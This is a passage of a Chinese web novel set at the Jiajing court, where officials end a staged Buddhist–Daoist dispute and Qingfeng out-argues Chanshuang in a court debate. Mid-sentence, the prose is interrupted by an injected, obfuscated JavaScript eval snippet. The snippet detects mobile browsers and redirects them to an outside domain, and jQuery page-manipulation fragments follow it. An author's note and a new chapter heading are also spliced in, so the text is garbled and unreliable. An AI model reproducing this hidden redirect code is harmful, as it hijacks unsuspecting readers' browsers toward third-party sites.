此前宁波府包括知府衙门所在的鄞县也不是没有因为三教之争而引发的一些乱子。 但大多数情况下海瑞都是睁一只眼闭一只眼,并不给予追究,最多只是让捕快先维护秩序,不要闹出人命或者是什么大乱。 但这一次,却是直接动用了驻军,很显然这是朝廷打算动手了。 而能指挥的动海瑞,并且让海瑞甘愿配合演戏的,除了宫里的皇上,其他人谁都不行。 “如今的大明,不光是宁波府一地,三教之争,两京一十三省几乎覆盖了整个大明。” “不少百姓现如今都开始参与到了三教之争当中开始站队,像是这海云帮,潮涌会之类的民间势力,也在无形当中窜了出来。” “而像今日这样的争斗,在大明各处更是不断的上演着,虽然对江山社稷的稳定,并没有什么实质性的危害,但闹剧就是闹剧……” 海瑞说着语气也渐渐的冷了下来,看着手上写好的奏本,沉声道:“既然是一场闹剧,那也该结束了。” 没错,在海瑞看来,三教之争就是一场闹剧。什么佛门,道门,什么儒宗学说,若是不能用到服务于江山社稷之上,都将毫无意义。 如果不是朝廷想要利用这一场闹剧进行一场变 法,而这场变法在海瑞看来,对未来大明仙朝发展有所帮助,他必然是要上疏劝谏的。 听到海瑞这么说,王用汲点了点头,而后他突然像是想到了什么,开口道:“其实这次三教之争,佛门和道门不过是颗棋子,朝廷真正想要下手的是儒宗。” 说着,王用汲的语气微微一顿,而后严肃道:“刚峰兄,若是想要对整个儒宗下手,首先就必须要让孔家倒台。” “一个弄不好,怕是会将朝野上下都给得罪一遍,弹劾怕也会纷沓至来……” “只要是为大明,为了皇上,我海瑞无所畏惧。”海瑞说着,开口道:“来人。” 不一会,仆人小跑着走了进来。 “将这份奏本,快马加鞭,呈交上内阁。”海瑞将写好的厚厚一沓奏本递给仆人。 “是!” 嘉靖四十八年,九月。 一个月时间匆匆而过,一个月的时间虽然短暂,但发生的事情却不少。 首先便是宁波府海瑞以三教乱法,激起民变为由,将自大明朝开国就存在的海云帮和潮涌会铲除,没收产业收归朝廷。 之后,海瑞召集从松江府到福建沿海一带的商人,前往宁波府会谈,瓜分两大帮会的产业。 不仅如此,海瑞更是亲自带兵,将不少佛门寺庙和道门道观查封。 僧道两家,不少人都被关押入了大牢之中,其中不乏一些得道高僧和道门真人。 宁波府发生的事情,就像是某种信号。 在海瑞动手之后,整个大明朝两京一十三省,几乎所有地方衙门纷纷响应,开始大肆缉拿因为三教之争而引发的动乱之人。 当然这次动手抓捕的主要是佛门和道门两家的信徒,还有一些寺庙和道观的僧人和道士。 至于这背后,推波助澜,也是朝廷主要想要处理的儒宗之人,却是根本没有动。 而这一切,自然也让远在孔家的衍圣公,孔贞干越发的确定,自己所想的没有错。 曲阜。孔家祠堂里。 “尚贤,你还有何话要说?” 孔贞干看着跪在蒲团之上,背对着自己的儿子孔尚贤,背负着双手,居高临下的问道。 此刻的他颇有一种扬眉吐气,前来向儿子炫耀一般的姿态。 自从那天被孔尚贤的一番话说得怀疑自己判断后,孔贞干原本笃定的内心就变得忐忑了。因为孔尚贤那天所说确实是他没有想到的。 朝廷的目的是变法,是降低儒家独一无二的地位,若是趁着三教之乱趁机对整个儒宗动手进行整改,那完全可以在扶持一个新的儒宗。 皇上从来没有说过要让儒宗消失,而是要让儒宗和百家学说一起治世。 而他从始至终,都是在将百家学说置于自己的对立面,将其视作敌人! 他不想让儒宗的地位下降,他要维持儒宗的超然,凌驾于所有学说之上的地位。 但是他心里清楚,这‘启思革新’的变法就是要破除王朝陈旧体制,打造一个全新的王朝,而儒宗学说和思想,就是一个拦路石。 这点从根本上来讲,是被皇权所不容的,要么儒宗退让,主动服软,要么皇帝退让。 而他单方面的给皇帝了一个选择。 那就是,你变法可以,你要破除陈旧体制也可以,但是儒宗永远是儒宗,不能变。强如当年的盛唐,不也是天可汗跟儒宗治天下吗? 凭什么你嘉靖皇帝就不行? 所以,我给你一个台阶,你也给我儒宗一个面子,你变法,我们全力支持你,这次推波助澜,给你动手收拾,借题发挥的理由。 这就是我儒宗的诚意,也希望你不要为难我儒宗,为难我孔家。 他固执的认为,皇帝见识到了儒宗的力量,有了台阶,有了选择,会配合自己的。 可是孔尚贤的一番话,叫他自己给自己编织的一个完美理由给亲手打破了。 站在孔尚贤的视角来说,那就是皇帝不需要他给的台阶,更不需要配合他! 借着三教之乱,铲除掉孔家,就能给儒宗重创,那时随时可以扶持一个新的儒宗出现。 儒不会消失,但孔家会消失。 而更让他饱受煎熬的是,他已经是箭在弦上,不得不发,没有了选择。 三教之争在不论是他孔家或者是朝廷有意无意地推波助澜作用之下开始,就注定了停不下来了,可以说三教的结局必然是被清算。 所以这段时间以来,孔贞干一直处于一种忐忑的状态当中。 他在等,等朝廷,等皇帝的选择! 到底是选择对三教同时下手,还是只对佛门和道门出手? 万幸,祖宗保佑,皇帝终究是没有对儒宗出手,现如今大明朝大面积的对佛门和道门出手,这就说明,自己当时猜对了。 终于,这一个月来,他第一次踏入祠堂,他终于可以用事实,来反驳儿子当初的那一番话。 他要告诉儿子孔尚贤一个道理! 那就是儒宗的地位和能量,远远不是他所想的那么简单,千年之宗,岂会经不起风浪? 千年之宗的能量,即便是皇帝,也会忌惮无比,不会轻易的对儒宗出手! 纵观史书,从古至今,王朝更迭,霸主沉浮,唯有他儒宗,永远屹立不倒。 “父亲,”孔尚贤跪在蒲团之上,低眉垂目,面前祖宗灵位下的烛火闪烁跳跃,灯火照映之下,他的面庞变得晦暗不明,“你错了。” 听到儿子孔尚贤的话,孔贞干的面色一沉。 他没有想到这个逆子,到了现在竟然还不肯承认自己看错了。 这一个月虽然他勒令孔尚贤在祠堂罚跪,但却没有禁止仆人给孔尚贤传递外界关于三教之争的消息,为的就是要和儿子争出一个对错来。 当然更多的也是给自己心中一个宽慰。 现在朝廷只对佛门和道门出手,对儒宗却是视而不见,胜负已分,这逆子竟然还不知错。 “您可还记得,那个写出‘西游释厄传’的吴承恩?”孔尚贤声音平静,但听在孔贞干的耳中,却有一种莫名的迟暮之气。 “哼,”孔贞干发出一声冷哼,“区区三流文人而已,也不过是这次三教之争大势之下的一颗棋子,何必言说。” 挑起儒释,道三教之争的关键因素,其实吴承恩的‘西游释厄传’可以说是功不可没。 毕竟大明百姓对于所谓的佛门,道门学说,教义,了解的并不多。 最片面单一的就是,佛门可以求佛许愿,道门都是修仙炼丹的道士这些。 但是‘西游释厄传’一出,再加上吴承恩的刻意去描述,介绍的写法和剧情安排,一下子就让大众对佛道二教有了更深的了解。 比如佛门说因果报应,来世今生。 而道门则讲究当下,讲究修炼成仙、长生不死,不将希望寄托于六道轮回,来世未来。 也是因为吴承恩的‘西游释厄传’,所以大明百姓才能在短时间内对佛道二教有如此深刻的理解,并发展成双方的信徒和拥趸。 所以,在孔贞干看来,吴承恩也不过是一个儒宗众多工具之中的一个而已。他不明白这个逆子突然提起这个三流文人有何用意。 “儒释道三教之争,佛门和道门迎来了清算,却偏偏对儒宗视而不见,”孔尚贤声音平静,但语气当中的垂暮之气却愈胜道:“所有人都能看的明白,皇上要对儒宗动手,而我孔家带头反抗,然后由此引发了三教之争!” “现在皇上处理了佛道二教,却放过了儒宗,并对其视而不见,父亲……” 孔尚贤说着,微微回头,抬眼看向孔贞干高大的身影,语气沉凝,道:“皇上这是在告诉世人自己知错,向儒宗向孔家认错妥协了吗?” “敢问父亲皇权尊严何在?” “我再问父亲,自古以来,有皇帝下罪己诏,可有皇帝向某一个人,某一家认错?” “眼下的平静真的是结束吗?”孔尚贤说着,儒雅的面庞在烛火的映照之下,一半显得光明,一半阴沉,隐入黑暗,道:“可曾听闻,溪云初起日沉阁,山雨欲来,风、满、楼!” “眼下的一切,不过是暴风雨前的宁静罢了……孔家,再无退路!”孔尚贤说话的同时默默转回了头,同时低下了脑袋,闭上了双眼。 “哗!”这一刻身后门窗猛地被一阵飓风所撞开,狂风涌入祠堂,霎时间灯火哗然。 孔贞干的长袍被吹得猎猎作响,孔尚贤跪在祠堂,与被狂风裹挟的灯火一起,像是整个孔家一般,身处于暴风之中,飘摇孤立。 “轰!”在孔尚贤话音落下的瞬间,孔贞干脑海中惊雷炸响,立于风中浑身麻木,遍体生寒,脖颈间似是有大刀裹挟寒意落下。 嘉靖四十八年,九月十五,中秋。 西苑,玉熙宫内,内阁和司礼监众人分站两列,裕王跟晋王二人端坐于御座之下,严嵩依旧坐在自己的小板凳上,低眉垂目。 嘉靖没有露面,不过他没有露面,而是在灵田小院里修剪着一株尚未成熟的灵桃树。 这是他不久前前往修仙世界搬运而来。 这是他在修仙世界四方城,花了五千灵源专门购买的九品灵植。嗯,那掌柜说,这灵桃树是可以进阶的,按道理讲成长到一品灵植没问题。 九到七品时,结的灵桃,服用后功效和普通的灵米差不多。 不过在六品到四品时,可就大大的不一样了,都是按年份计算的,分别是十年、三十年、一甲子、百年、千年、万年,甚至更久。 比方说,十年一熟的六品灵桃,可抵练气初期修炼三个月的功效,若是卡境界的修士,服用这么一颗十年份的六品灵桃直接就可以突破。 三十年份的灵桃,练气期修士服用,可以抵消练气中期六个月的修炼时间。 一甲子年份的六品灵桃,练气期修士服用的话,可以抵消练气后期三五年的修炼时间。 若是达到百年份的六品灵桃,筑基初期修士服用的话可以抵消其十数年的修炼时间。 以此类推,灵桃的品质越高年份越多,可以抵消修炼的时间就越短,境界自然也会越高。 用那掌柜的话说,若是将灵桃树的品阶,提升到一品,那仅仅是十年份的灵桃,若是炼虚初期修士服用,就可抵消其数十年的修炼时间。 若是一甲子年份的一品灵桃,就 算是炼虚后期的修士也会趋之若鹜。 更别说上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669384|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万年的灵桃,除了大乘期等待飞升的修士外,就算是九劫散仙也会心动。 当然嘉靖自然能明白,这都是那老板为了能卖出这灵桃树在给自己画饼,否则这灵桃树的价格,就不会是区区的五千灵源了。 最主要的是即便是在修行世界也没有听说过这种灵桃成长到了一品,不过《修行通识纪要》上倒是说过,这东西确实有成长潜力。 可惜的是,也就上古时代,曾有大宗派培育出了一品灵桃,当然书院自然也能培育出来,之后就再也没有记载有人培育出来。 修仙世界培育灵桃树品阶最高,也不过才是三品,六品都是大宗才有。 有传闻说,是流传在修仙世界的灵桃品种,血脉是被阉割过的,所以永远不可能成长到高阶。 也有传闻说,修仙世界法则不允许等等,说法各有,但无一不是在告诉世人,不可能成长到高阶! 不过嘉靖还是买了一棵,他倒是没想过将其培育成高品阶,能培育到六品就够了。 以后仙朝发展,赏赐臣子,总要有些东西拿出手的,要不然总是灵物资源太过单一了。 虽然没有坐镇在大殿聆听御前议政,不过嘉靖身旁,本命却将大殿内的景象投射出来。 因此,大殿内的一切都在眼中。 此时,大殿中,众人都看着国师清风和禅霜。 毕竟如今朝廷已经开始对道门和佛门的人动手了,身为佛门和道门如今的代表,她们身为国师,自然是要站出来说话表态的。 “眼看着要到年底了,”这时,吕芳轻咳一声站了出来,开口道:“小阁老,您的‘启思革新’的变法,不知准备的如何了?” 虽然很多事情在场的众人全都心知肚明,但既然是御前议政,那该有的话头还是要起的,吕芳此刻说话,就是起一个话头的作用。 随着吕芳话音落下,众人的目光都朝着严世蕃看了过去。 上一次御前议政,皇上出关,严世蕃提出了‘启思革新’的国策,然后…… 然后就没有然后了,严家遭到了自己派系的背叛,然后就是三教之争掀起。 这场纷争,从四十七年年底开始,到嘉靖四十八年九月,将近十个月的时间。 这对朝廷来说,并不算长,但对严世蕃来说却不短,毕竟当初皇上只给了他五年时间。 可以说三教之争白白浪费了将近一年时间,严世蕃现如今只剩下了四年时间可用。 四年破除自古以来,王朝存在的陈旧体制,并不容易,不过朝廷也不会存心为难严世蕃,所以此事必须要在年底之前解决。 在众人的目光注视下,严世蕃微吸了一口气,上前一步,对着上方的裕王和景王二人拱了拱手,道:“二位殿下,启思革新的国策,如今正在进行,目前一切顺利。” “臣保证,在五年期限到来之前,让我大明朝,脱胎换骨!” 嘉靖不出面,裕王跟景王有协理内阁之责,所以众人汇报政绩,自然是对二人说的。 听到严世蕃这么说,裕王和景王对视了一眼,都对严世蕃这一番睁眼说瞎话的行为,感到无语,现在谁不知道你严世蕃的变法之路被孔家给拦住了,儒宗要是不倒你能变法? 要不是这朝堂之上内阁众人的推波助澜,为你变法铺路,你能这么顺利? 不过实情归实情,场面话归场面话。 既然严世蕃这么说了,裕王二人自然也不能揪着不放,毕竟当初父皇可是给了严世蕃五年时间,最重要的是今日议政,变法并不是关键。 严世蕃说的五年之期能不能变法成功,那需要等到期限到了以后才能知晓。 目前,他们需要给三教之争,做个收尾。 想及此处,裕王点了点头,而后目光看向站在中间位置的清风和禅霜二位国师。 “二位国师,如今大明朝佛道之争闹得厉害,不少佛教和道门的信徒聚在一起互斗,引发不少的民变,”裕王眼神严肃,抬手间吕芳已经将一本奏本送上,沉声道: “有佛门信徒,为一个江湖游僧,敢于围堵县衙,还有道门拥趸公然跪拜什么仙人。” “根据衙门查实,这些都是些江湖骗子骗人的手段,关键是道门和佛门却并不加以制止。” “只要是能为二教吸引信徒和拥趸,就会得到当地寺庙,道观的热情接待,亦不彻查其来历,品行是否端正,以至于民间乌烟瘴气。” “甚至有不少商人,学子,但凡说一句对佛门或者道门不利的话就会被大群人围追堵截。” “二位国师,你们有什么想说的吗?” 一时间,所有人的目光都看向了场中的清风和禅霜。 “国师,您知道怎么做吗?”清风脑海中想起,今日前往玉熙宫时,黄锦对她说的话。 她自然知道今日要做什么了,嗯,给皇上干坏事,为皇上背黑锅,这事她熟! 边上,司礼监的黄锦,此刻眼巴巴的看着自家国师,眼神中暗含鼓励之色。 而站在黄锦身边的陈洪,此刻则是在眼底流露着一抹精光,注视着国师禅霜。 身为了解这次三教之争内幕人之一的他,自然明白今日让这二位国师前来玉熙宫议政用意何在。 三教之争的起因,就是针对儒宗的。佛门和道门就是严党手中用来对付儒宗的刀剑。如今目的已经达到了,这刀剑也该摘出来了。 不过,这刀剑一个是向来身受皇上恩宠的国师清风,一个是刚刚被敕封国师的禅霜。 这说明,二人都是皇上的人,二人所代表的,背后的佛门和道门,也是皇上的工具。 既然是皇上的工具,那么用完了就该完美归还,需要给她们一个理由让他们退出来。 至于国师禅霜,陈洪并未为其点明其中要害,因为脏活,反正那位清风国师已经做的太多,早就熟练了,就由她开始,禅霜配合就是了。 说白了,今日就是一场戏而已。 这场戏唱完了,最后拉一个垫背的出来,此事也就了了。 听到这话,清风明亮纯净的眸子看了眼身旁安静站定,低眉垂目的禅霜,决定自己先开口,这事她看的分明,赶紧把事解决了。 嗯,不就是吵架嘛?不就是闹事嘛?不就是冤枉别人嘛?没什么关系。 想及此处,清风率先开口,道: “此事说到底,不过是百姓对佛门教义不明所致。”说着,清风语气微微一顿,又道:“听闻,佛门教义讲究因果轮回之说?” 清风率先发难,矛头直指禅霜。 而这话音里头蕴含的意思也再明显不过了,就是在说,佛道之争闹到如此之大的地步,全是因为佛门! 听到这话,禅霜一愣,下意识的抬头,慈悲的眸子里,流露出一抹不解之色。她不明白,这位清风国师,为何突然如此说话? 难不成是想要通过针对佛门,从而为道门开脱吗? 一时间,禅霜眉头不由微微皱起。 一双慈悲的眸子里,也隐隐有一些怒意浮现。 她原本以为这位清风国师能得清风玄灵守真慧悟真人的尊号,是个有悟性之人,没想到被质询,责难的时候,竟然会如此作为。 当面冤枉别人,竟然还能面不改色吗?算是她看错对方了! 入宫之前,师父曾告诫她要小心道门之人,但她并不以为意,只认为佛道之间不过是教义不同,双方若有所交集论道便是。 但是今日被这位道门国师当面冤枉,她这才发现,自己错了,这个国师,不讲道理! 察觉到这位佛门少女眸子里隐隐的怒意,清风明亮的眸子不由微微一亮。 看着这一双纯净,还隐隐透露着慈悲与不满之色的眸子,一时间,清风顿觉好玩。 “……” 没能补上,明天接着补~ 第一百六十八章 清风vs禅霜,佛道巅峰战!儒以文乱法,海瑞来了! “清风国师想说什么?”相比于如今已经二十四岁的清风,禅霜十七岁的年纪,终究是稍显稚嫩了一些,声音也多有稚气。 当然最重要的是,她没有当初清风初下山时聪颖,和对世俗红尘本质堪破的悟性和随性。 清风从小被养在山上,接触的人也都是一些门内师兄弟们,再加上师父将其保护的特别好,按理说她本应该是一个不谙世事的单纯小姑娘。 可谁让她的悟性高呢,即便是观察自然星相,便已看透了山下红尘之间的生存之道。 所以对于朝堂之上的争斗,还有被利用以及被甩黑锅,她都能坦然处之,并表示理解。 禅霜则不同,她本就是养在红尘当中,见识的自然也就是红尘当中的种种,不过也得益于般若林将其养护的非常好,却有一颗纯善之心。 但,她自从被严嵩选中开始,般若林就开始培养她在朝堂之上的处事,处处告诫于她要小心谨慎,让她对朝堂天然的有一种畏惧。 这点,她又不如清风了。 清风下山时,可以说整个龙虎山上下,没有一个人嘱咐她下山以后该怎么做,唯一的叮嘱就一句话,听严阁老的安排。 如此种种对比下来,一个天性自然,一个循规蹈矩,处处规范。 相比起来,自然多有不如了。 因此,被清风这当面一冤枉,语气中难免多了些情绪。 清风和禅霜二人之间的对话,以及二人之间不同的情绪流露和表达,自然被在场一众老狐狸所看在眼里。 明眼人都能看出来,禅霜不如清风! 灵田小院中,嘉靖手中的剪刀微微一顿,瞥了一旁的本命上,清风看向禅霜那像是看到什么好玩的东西一样的眼神,不由微微摇头。 没想到好好的,把当初单纯的小丫头,给养成了咸鱼性格不说还腹黑了起来。 “只是觉得你佛门教义,有问题,”这时,清风脆声而笃定的声音再次响起,说话间她还认真的点了点头,转身看向禅霜,“大问题!” “教义怎么有问题了?”听到清风拿佛门的教义说话,禅霜也不打算隐忍了。 今日,三教之争闹的凶,她一直通过身边的小尼姑,跟外界般若林的师长们有联系。 起初她还没有反应过来,但是现在看这朝堂之上的架势,还有裕王殿下的问责之意,她也惊觉了过来,知道再不争,佛门就要被陷害了。 佛门好不容易才有了今日的地位,若是自己这个代表佛门,立足于朝堂的国师不出面为自家争取,那天下佛门,危矣! “佛门讲究因果报应、三世轮回、天堂地狱,对吗?”清风眨了眨眼道。 “不错。”禅霜那一双慈悲而明亮的眸子里流露出一抹认真的神色。 她并不笨,自然能听得出来清风这是要拿佛教的教义来跟自己争论,指出佛门教义有问题。 如此一来也就证实了她先前在众人面前所说的佛门教义有问题,所以才蛊惑人心。 坏女人!禅霜紧抿着嘴,认真的盯着清风。同时心中已经暗暗打定主意要拿出十二万分的精神来对付这个坏女人! 看着她这一副模样,清风嘴角弯了弯。 “那么敢问禅霜国师,这些教义的根本是什么?”说着,清风轻轻抬手,甩了甩道袍。 嗯,难怪皇上喜欢甩袖子呢,还是挺有感觉的嘛……清风似乎是在禅霜面前,找到了自己身为上位者的乐趣所在。 一时间也不由得学着嘉靖,拿捏起了姿态。 “人死精神不灭,随复受形。生时所行善恶,皆有报应。故所贵行善修道,以炼精神而不已,以至无为,而得为佛也。”禅霜小口微张,“神不灭,乃是佛之根本!” “噢,”清风点了点头,然后突然又像是想到了什么,道:“我记得此前张御史已经在儒家的立场,用我道家的性命自然主张,对你佛门的因果报应进行否定。” “当时你也是认同的,不是吗?” “阿弥陀佛,”清风轻声道了一声佛号,微微摇头,“佛道二教,对生死皆有不同教义,我佛门主张来世今生,道家主张性命自然。” “国师被皇上赐予清风玄灵守真慧悟真人之尊号,难道也悟不出其中道理吗?” “性命自然之说,”禅霜略显稚嫩的声音平缓的响起,“道家认为性命之数乃是天定,而我佛门困苦形神,修今生,祈求下黄泉后来生福报是一种管中窥物的狭隘之说……” 说着,禅霜深吸一口气,道:“可道家将一切归咎于自然命数,难道不也是狭隘之说?” “可有人得见轮回?” “可又有人,知晓天定命数?” “修今生,乃是引人向善,求的是福报来生。修仙求长生,修的是打破天定命数。” “各有教义,岂有一对一错之论?” 一连两个质问,禅霜看向满屋子的众人,语气有些急促,声音有些委屈。 不过她这一番修仙求长生,打破天命定数的言论,确实让这满屋子的修仙之人神色古怪。 这话要是这么论起来的话,她说的倒还是有几分道理的。 求轮回来生,就是 狭隘的管中窥物,那站在禅霜的视角来看,这世上也没有修仙一说,那道门修仙求长生,求打破天命定数不也是狭隘? 一时间,众人都不由将目光看向清风。 这一番言论若想要推翻的话,最简单粗暴的那就是清风直接施展修仙者的手段。直接给这个小姑娘一点来自更高层次的震撼。 当然众人也只是这么想一想而已。 大明未来会步入仙朝,甚至就在严世蕃变法后不久,但在此之前,修仙对于整个大明来说依旧属于绝密! 没有皇上旨意,无人可以泄露! 即便这个人是深受恩宠的国师清风也不行。 清风自然也不会因为和禅霜的一番佛道争论,就暴露修仙之事。 况且对于她来说,佛道之争,口头上便可争得过眼前这个小女孩。 嗯,她也是天才来着! “禅霜国师这一点说的倒是不错。”清风微微颔首,没有否认禅霜刚才的言论。 不过禅霜确实能看得出来,眼前这个坏女人肯定还有后话。 “但是,方才禅霜国师也说了,佛门的根本是神不灭。”果然,跟着就听清风继续开口,眼神中有狡黠之色浮现,“可是,生必有死,形毖神散,犹春荣秋落,四时代换……” “既然生死如同四季更迭一般自然,那么就无需在意,是否有他生别相?” “阿弥陀佛,”禅霜听完清风关于神不灭的说法摇头,双手合十,道了一声佛号,微微摇头道:“清风国师此言差矣。需知,若资形以造,随形以灭,则以形为本,何妙以言?” “禅霜国师此言差矣。”清风也跟着摇头,“妙与不妙,不过是外物而已。” “我们讨论的是,佛门教义对百姓的影响,”说着,清风眸子里,那一抹好玩的神色愈发的浓郁起来,“难道说佛门教义,只求玄妙,其他的可以不管不顾,神妙就行吗?” “噢,”说着清风语气稍稍拉长,一副恍然大悟的神色,“难怪可以哄骗百姓。” “江湖骗子,也是用靠着种种玄妙,神迹,来蛊惑人心呢。” 这话一出,几乎就是坐实了之前清风的论调,佛门教义存在问题,哄骗了无知百姓,所以才会导致佛门信徒主动闹事。 而禅霜,此时也终于反应过来,自己掉入了清风埋下的陷阱。 “你!”禅霜气急,看着清风这一副模样,瞪圆了那一双明亮慈悲的眸子,眼神中有委屈之色浮现,不过清风却是没打算就这么结束。 玩归玩,闹归闹,但正事还没结束呢。 “殿下,”清风微微颔首,对着御座下坐着的裕王跟景王,“想必禅霜国师刚才的话已经说的很清楚了,佛门教义根本存在问题。” “因此才会有大批的佛门信徒,主动挑事与我道门争锋,还请二位殿下定夺!” 听到清风如此说,裕王跟景王对视一眼,都是看到了彼此眼里的无奈。 当然他们无奈的是,这个禅霜小国师,太不耐打了,清风国师仅仅只是三言两语,就让她招架不住,掉到了语言的陷阱里。 要是这么结束的话,今日的议政可就没了意义。 这个道理他们二人相信清风肯定也懂,但是想到清风深受父皇恩宠,又不能明着拉偏架,一时间二人也很为难,这戏唱下去就这么难? “禅霜国师,你可还有话说?”裕王看了眼景王,迎来的却是一个,你是兄长,你说话的眼神,心中无奈,不过还是决定拉一拉偏架,要不然今天这一出戏可唱不下去了。 今日论道,必须是两个国师两败俱伤才行。 “敢问清风国师,你可信因果?”禅霜倔强的看着清风。 “不信。”清风摇头。 她从来都不信所谓的因果报应,她信奉的,从来都是自然法则之下的生存之道,要么逆天而行,要么顺应而为,就如这滚滚红尘诸臣一般。 更别提她现在是一个修仙者了。 修仙长生,本身就是违背了天道法则对万物众生,生老病死的安排,本就属于是逆天而行。 听到清风如此说,禅霜继续开口,道:“我佛教义,因果轮回,此生修来世福。” “国师不信因果,何得富贵贫贱?” 今日之争是为了辨清清风对佛门教义的误解,所以当下争论的前提都是以因果轮回来说。 而清风若是想要反驳,就必须要以合情合理的方式,将佛家的因果轮回之说击溃,而不能用胡搅蛮缠的方式说不信,我的富贵与前世无关之类的话术来辩驳。 “呵,”清风则是淡淡一笑,道:“人生就像树上的花一同绽放,随后随风飘落。” “有的花朵拂过帘幔落在柔软的垫子上,有的则穿过篱笆掉进了泥土里。” “落在垫子上的花,就像是生来便是皇子,”说着清风还抬手指了指裕王和景王,道:“掉进泥土里的花,就像是一些百姓。” “这其中,贵贱之间有着非常明显的区别,”说着,清风嘴角微动,看着禅霜,道:“敢问这背后的因果关系又是什么?” “这!”这番话一出,禅霜再次被说的哑口无言。是啊,这背后又有何因 果可言呢? 都是同一棵树上的花,但结果却是不同。 若按照自己的因果之论来说的话,同一棵树上的花,就好比前世是一样的,但在来世,却迎来了不同的结果,这岂不是自相矛盾? “禅霜国师,到了现在难道你还不肯承认你佛门教义在根本上就存在问题吗?”清风再次上前一步,与禅霜几乎是近在咫尺。 “……我。”被清风如此注视着,禅霜张了张小口,一双原本慈悲而明亮的眸子,此刻瞳孔微微颤抖着,神情间惊慌之色浮现。 同时,大脑更是飞快的运转着。 不行,肯定还有反驳之法,我不能被这个坏女人打败,否则佛道之争,就是佛门之罪孽。 禅霜面色渐渐的苍白了起来,她开始努力的回忆佛经,想要从中找出反驳的观点。 可是清风的观点提出,她自己都无法辩驳,甚至都忍不住怀疑,佛门教义中的因果轮回之说是否真的是虚假,站不住脚的。 “那祭祀之道呢?”就在这时,禅霜脑海当中突然灵机一动,抬眼看向清风,道:“清风国师,我华夏自古以来便有的祭祀之道如何说?” 说着她不等清风开口便继续道: “祭祀祖先,不仅仅是为了供奉食物,更是为了缅怀先人,维系家族血脉,铭记根本。” “古人云:孝莫大于安亲,安亲莫大于敬鬼神。子孙祭祀,并不只是为了让先人的灵魂得到供奉,也是为了让自己的内心感到安慰。” “当人的灵魂离开了躯体,仍然有所感知,因此才会立牌位进行祭祀,以示不忘。” 禅霜说着,语气微微顿了一顿,见清风只是平静的看着自己,心中暗自一凛,不过还是道: “子孙承继先志,岁时祭奠,非独慰先人之灵,亦所以明孝道,传家风!” “正如《礼记》所说:祭如在,祭神如神在。” “由此可见,人虽去世,但其神不灭!”说到这里,她终于是将自己的又一辩证说了出来。 “子孙之所以祭祀,是因为相信先人的灵魂不灭,因此通过供奉食物来表达孝思之情。” “这些都不是空谈,而是有深刻含义的。” “圣人制礼作乐,皆有所本,非空言。是以祭祀之事,非虚妄之行,乃明德之实。” “因此,子孙祭祀祖先神灵,非徒事表象,实则是明心志,昭孝行。由此可见,我佛门教义,神不灭的道理确实存在。” “因此子孙祭祀不仅是为了回报先人的恩德,也是为了证明人的灵魂,即便**消逝,也能永恒存在!”此时禅霜可以说是越说越自信,小小的身躯中,隐隐有能量要爆发一般。 “所以,佛门教义,神不灭,无错!” 不得不说禅霜不愧是佛门培养的天才,也不愧是严嵩精挑万选的人。 在如此极致的情况下还能想出此等反驳的观点,绝境逢生,确实当得起天才一说。 她这一番用古之祭祀之礼来论证神不灭的合理性,这一观点根本无法辩驳。 不说百姓了,每年都要祭祀祖先,即便是皇家依旧在遵循着祭祀之礼。 所以想要在这一观点上反驳神不灭的佛门教义,那就反驳了祭祀之礼的合理性。 如此一来,一旦清风反驳了,那就是真正的大逆不道了。 “差不多可以了,”司礼监一方,黄锦看着自家国师不说话后,心中焦急道: “小祖宗呦,行了吧?赶紧来把事情闹大,等主子顺势给个信号,以言行无状为由,将你们二位国师禁足。” “如此一来,这出戏也就算唱完了。” “之后严阁老他们顺势打个掩护,扯出儒宗,办正事要紧啊,可别惹恼了主子才是。” 然而可惜的是,清风却听不到黄锦此刻的心声。 “你说完了吗?”清风对禅霜这一番急中生智的反驳,却不以为意,只是平静的问道。 “没有。”禅霜此刻也顾不上佛礼了,气鼓鼓的看着清风,道:“国师之前否定神不灭,但祭祀之道却恰恰应证了神不灭的合理之处!” “那岂不是说,国师竟不知自己先祖神灵所在!” 嗯,禅霜此刻,颇有一种小老虎呲牙咬人的感觉,这话说出来,就等同于是再说清风没有祖宗了,确实有骂人的嫌疑。 “阿弥陀佛,罪过,罪过,”说完,禅霜赶紧在心头暗暗祷告,“请佛祖原谅,弟子犯了口业,实在是这坏女人太可恶,阿弥陀佛……” “呵!”然而就在这时,清风却是发出一声轻笑,一甩手袖口中竟是突然露出一把小巧精致的匕首来,只见她直接将匕首甩到禅霜脚边。 “哐当!”刀子甩在地板上,发出清脆的声音,只有十六七岁,并未经历过什么大风大浪的禅霜更是吓得小脸一白,下意识的喊出声来。 “国师!”见清风竟然动了刀子,在场的人都是一惊,裕王更是发出一声低喝。 “好!”然而看到这一幕,黄锦心头,却是暗暗叫了一声好。 到了这里,他笃信事情已经闹大了。 接下来,想必主子也该给一个信号,这场戏也该收尾了。 “祖宗灵魂?”清风轻笑着,道:“既然如此,那你便证明给我看,祖宗灵魂真的有,如你所说,既然知道先祖灵魂,便杀身从之。” “我道门修今生,求长生,笃信的是,形者神之质,神者形之用。” “就如这匕首,”清风指了指地上的匕首,“神之于质,犹利之于刃。形之于用,犹刃之于利。利之名非刃也,刃之名非利也。” “然而,舍利无刃,舍刃无利,未闻刃没而利存,岂容形亡而神存?岂不舍本逐末?” 听到这里,裕王、徐阶、高拱、张居正、赵贞吉、胡宗宪等人纷纷在心底一叹。 这一次,他们看向清风的目光再次变得不同了。 国师清风,不愧于道门天才之名! 也是这一次他们才真正的见识到了,道门天才的真正含金量! 这最后一场佛道之争,是在玉熙宫大殿上开始的,也要在大殿之上结束,给天下一个交代。 而从开始到现在,清风几乎是在压着禅霜这位佛门天才打,后者毫无还手之力。 尤其是这最后一把匕首,用刀刃和锋利之间的关系举例,论证了神魂对于**的关系,从而,直接给佛门教义,来了一记绝杀! 神魂和**的关系,就像锋利对于刀刃。 锋利这个词不是用来形容刀刃的,而刀刃这个词,也不是用来形容锋利的。 然而,没有锋利,也就无所谓刀刃,没有刀刃,也就无所谓锋利了。 